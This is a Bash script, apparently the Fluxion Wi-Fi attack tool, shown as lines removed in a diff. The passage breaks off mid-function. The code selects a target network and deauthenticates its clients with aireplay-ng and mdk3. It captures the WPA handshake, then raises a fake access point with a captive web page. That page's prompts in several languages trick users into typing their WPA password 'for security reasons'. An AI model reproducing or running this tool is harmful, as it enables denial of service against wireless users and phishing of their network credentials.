-green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -function airmon { - sudo chmod +x airmon -} -airmon -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo -} -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" - sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$blue"Channel"$transparent" = $channel" - echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - ./airmon stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$blue ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$blue"1)"$transparent" All channels " - echo -e " "$blue"2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$blue"6"$transparent" " - echo -e " Multiple channels "$blue"1-5"$transparent" " - echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "File ${red}NOT$transparent present" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$blue"1)"$transparent" Deauth all" - echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" - echo -e " "$blue"3)"$transparent" Deauth target " - echo -e " "$blue"4)"$transparent" Rescan networks " - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ 